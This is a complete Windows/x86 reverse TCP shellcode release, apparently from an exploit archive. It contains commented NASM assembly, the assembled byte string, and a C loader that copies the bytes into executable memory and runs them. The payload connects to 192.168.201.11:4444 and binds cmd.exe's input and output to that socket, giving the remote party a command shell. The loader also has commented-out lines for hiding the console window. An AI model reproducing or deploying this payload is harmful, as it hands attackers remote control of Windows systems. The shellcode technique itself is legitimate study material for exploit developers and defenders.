330 bytes small Windows/x86 reverse TCP shellcode that connects to 192.168.201.11:4444.
62fe34329d5e8ee5089f6fbc86bcb0a3/*
MIT License
Copyright (c) 2021 Xenofon Vassilakopoulos
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SOFTWARE.
# Title: Windows/x86 - Reverse TCP shellcode (192.168.201.11:4444) (330 Bytes)
# Date: 09.12.2021
# Author: Xenofon Vassilakopoulos
# Tested on: Windows/x64 - 10.0.19043 N/A Build 19043
[BITS 32]
global _start
section .text
_start:
; Locate Kernelbase.dll address
XOR ECX, ECX ;zero out ECX
MOV EAX, FS:[ecx + 0x30] ;EAX = PEB
MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr
MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList
LODSD ;memory address of the second list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the third list entry structure
XCHG EAX, ESI ;EAX = ESI , ESI = EAX
LODSD ;memory address of the fourth list entry structure
MOV EBX, [EAX + 0x10] ;EBX = Base address
; Export Table
MOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanew
ADD EDX, EBX ;EDX = PE Header
MOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export table
ADD EDX, EBX ;EDX = Export table
MOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names table
ADD ESI, EBX ;ESI = Names table
XOR ECX, ECX ;EXC = 0
GetFunction :
INC ECX; increment counter
LODSD ;Get name offset
ADD EAX, EBX ;Get function name
CMP dword [EAX], 0x50746547 ;"PteG"
JNZ SHORT GetFunction ;jump to GetFunction label if not "GetP"
CMP dword [EAX + 0x4], 0x41636F72 ;"rocA"
JNZ SHORT GetFunction ;jump to GetFunction label if not "rocA"
CMP dword [EAX + 0x8], 0x65726464 ;"ddre"
JNZ SHORT GetFunction ;jump to GetFunction label if not "ddre"
MOV ESI, DWORD [EDX + 0x24] ;ESI = Offset ordinals
ADD ESI, EBX ;ESI = Ordinals table
MOV CX, WORD [ESI + ECX * 2] ;CX = Number of function
DEC ECX ;Decrement the ordinal
MOV ESI, DWORD [EDX + 0x1C] ;ESI = Offset address table
ADD ESI, EBX ;ESI = Address table
MOV EDX, DWORD [ESI + ECX * 4] ;EDX = Pointer(offset)
ADD EDX, EBX ;EDX = GetProcAddress
; Get the Address of LoadLibraryA function
XOR ECX, ECX ;ECX = 0
PUSH EBX ;Kernel32 base address
PUSH EDX ;GetProcAddress
PUSH ECX ;0
PUSH 0x41797261 ;"Ayra"
PUSH 0x7262694C ;"rbiL"
PUSH 0x64616F4C ;"daoL"
PUSH ESP ;"LoadLibrary"
PUSH EBX ;Kernel32 base address
MOV ESI, EBX ;save the kernel32 address in esi for later
CALL EDX ;GetProcAddress(LoadLibraryA)
ADD ESP, 0xC ;pop "LoadLibraryA"
POP EDX ;EDX = 0
PUSH EAX ;EAX = LoadLibraryA
PUSH EDX ;ECX = 0
MOV DX, 0x6C6C ;"ll"
PUSH EDX
PUSH 0x642E3233 ;"d.23"
PUSH 0x5F327377 ;"_2sw"
PUSH ESP ;"ws2_32.dll"
CALL EAX ;LoadLibrary("ws2_32.dll")
ADD ESP, 0x10 ;Clean stack
MOV EDX, [ESP + 0x4] ;EDX = GetProcAddress
PUSH 0x61617075 ;"aapu"
SUB word [ESP + 0x2], 0x6161 ;"pu" (remove "aa")
PUSH 0x74726174 ;"trat"
PUSH 0x53415357 ;"SASW"
PUSH ESP ;"WSAStartup"
PUSH EAX ;ws2_32.dll address
MOV EDI, EAX ;save ws2_32.dll to use it later
CALL EDX ;GetProcAddress(WSAStartup)
; Call WSAStartUp
XOR EBX, EBX ;zero out ebx register
MOV BX, 0x0190 ;EAX = sizeof(struct WSAData)
SUB ESP, EBX ;allocate space for the WSAData structure
PUSH ESP ;push a pointer to WSAData structure
PUSH EBX ;Push EBX as wVersionRequested
CALL EAX ;Call WSAStartUp
;Find the address of WSASocketA
ADD ESP, 0x10 ;Align the stack
XOR EBX, EBX ;zero out the EBX register
ADD BL, 0x4 ;add 0x4 at the lower register BL
IMUL EBX, 0x64 ;EBX = 0x190
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614174 ;"aaAt"
SUB word [ESP + 0x2], 0x6161 ;"At" (remove "aa")
PUSH 0x656b636f ;"ekco"
PUSH 0x53415357 ;"SASW"
PUSH ESP ;"WSASocketA", GetProcAddress 2nd argument
MOV EAX, EDI ;EAX now holds the ws2_32.dll address
PUSH EAX ;push the first argument of GetProcAddress
CALL EDX ;call GetProcAddress
PUSH EDI ;save the ws2_32.dll address to use it later
;call WSASocketA
XOR ECX, ECX ;zero out ECX register
PUSH EDX ;null value for dwFlags argument
PUSH EDX ;zero value since we dont have an existing socket group
PUSH EDX ;null value for lpProtocolInfo
MOV DL, 0x6 ;IPPROTO_TCP
PUSH EDX ;set the protocol argument
INC ECX ;SOCK_STREAM(TCP)
PUSH ECX ;set the type argument
INC ECX ;AF_INET(IPv4)
PUSH ECX ;set the ddress family specification argument
CALL EAX ;call WSASocketA
XCHG EAX, ECX ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
;Find the address of connect
POP EDI ;load previously saved ws2_32.dll address to ECX
ADD ESP, 0x10 ;Align stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x63 ;EBX = 0x18c
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61746365 ;"atce"
SUB word [ESP + 0x3], 0x61 ;"tce" (remove "a")
PUSH 0x6e6e6f63 ;"nnoc"
PUSH ESP ;"connect", second argument of GetProcAddress
PUSH EDI ;ws32_2.dll address, first argument of GetProcAddress
XCHG ECX, EBP
CALL EDX ;call GetProcAddress
;call connect
PUSH 0x0bc9a8c0 ;sin_addr set to 192.168.201.11
PUSH word 0x5c11 ;port = 4444
XOR EBX, EBX ;zero out EBX
add BL, 0x2 ;TCP protocol
PUSH word BX ;push the protocol value on the stack
MOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol)
PUSH byte 16 ;the size of sockaddr - 3rd argument of connect
PUSH EDX ;push the sockaddr - 2nd argument of connect
PUSH EBP ;socket descriptor = 64 - 1st argument of connect
XCHG EBP, EDI
CALL EAX ;execute connect;
;Find the address of CreateProcessA
ADD ESP, 0x14 ;Clean stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x62 ;EBX = 0x194
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614173 ;"aaAs"
SUB dword [ESP + 0x2], 0x6161 ;"As"
PUSH 0x7365636f ;"seco"
PUSH 0x72506574 ;"rPet"
PUSH 0x61657243 ;"aerC"
PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddress
MOV EBP, ESI ;move the kernel32.dll to EBP
PUSH EBP ;kernel32.dll address - 1st argument of GetProcAddress
CALL EDX ;execute GetProcAddress
PUSH EAX ;address of CreateProcessA
LEA EBP, [EAX] ;EBP now points to the address of CreateProcessA
;call CreateProcessA
PUSH 0x61646d63 ;"admc"
SUB word [ESP + 0x3], 0x61 ;"dmc" ( remove a)
MOV ECX, ESP ;ecx now points to "cmd" string
XOR EDX, EDX ;zero out EDX
SUB ESP, 16
MOV EBX, esp ;pointer for ProcessInfo
;STARTUPINFOA struct
PUSH EDI ;hStdError => saved socket
PUSH EDI ;hStdOutput => saved socket
PUSH EDI ;hStdInput => saved socket
PUSH EDX ;lpReserved2 => NULL
PUSH EDX ;cbReserved2 => NULL
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
ROL EAX, 8 ;EAX => 0x00000100
PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100
PUSH EDX ;dwFillAttribute => NULL
PUSH EDX ;dwYCountChars => NULL
PUSH EDX ;dwXCountChars => NULL
PUSH EDX ;dwYSize => NULL
PUSH EDX ;dwXSize => NULL
PUSH EDX ;dwY => NULL
PUSH EDX ;dwX => NULL
PUSH EDX ;pTitle => NULL
PUSH EDX ;pDesktop => NULL
PUSH EDX ;pReserved => NULL
XOR EAX, EAX ;zero out EAX
ADD AL, 44 ;cb => 0x44 (size of struct)
PUSH EAX ;eax points to STARTUPINFOA
;ProcessInfo struct
MOV EAX, ESP ;pStartupInfo
PUSH EBX ;pProcessInfo
PUSH EAX ;pStartupInfo
PUSH EDX ;CurrentDirectory => NULL
PUSH EDX ;pEnvironment => NULL
PUSH EDX ;CreationFlags => 0
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
PUSH EAX ;InheritHandles => TRUE => 1
PUSH EDX ;pThreadAttributes => NULL
PUSH EDX ;pProcessAttributes => NULL
PUSH ECX ;pCommandLine => pointer to "cmd"
PUSH EDX ;ApplicationName => NULL
CALL EBP ;execute CreateProcessA
*/
#include <windows.h>
#include <iostream>
#include <stdlib.h>
char code[] =
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31"
"\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f"
"\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde"
"\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53"
"\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54"
"\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33"
"\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04"
"\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68"
"\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc"
"\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c"
"\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68"
"\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06"
"\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b"
"\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63"
"\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c"
"\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83"
"\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61"
"\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72"
"\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64"
"\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57"
"\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52"
"\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50"
"\x52\x52\x51\x52\xff\xd5";
int main(int argc, char** argv)
{
//HWND hWnd = GetConsoleWindow();
//ShowWindow(hWnd, SW_HIDE);
printf("Shellcode Length: %d\n", strlen(code));
void* exec = VirtualAlloc(0, strlen(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, code, sizeof(code));
((void(*)())exec)();
return 0;
}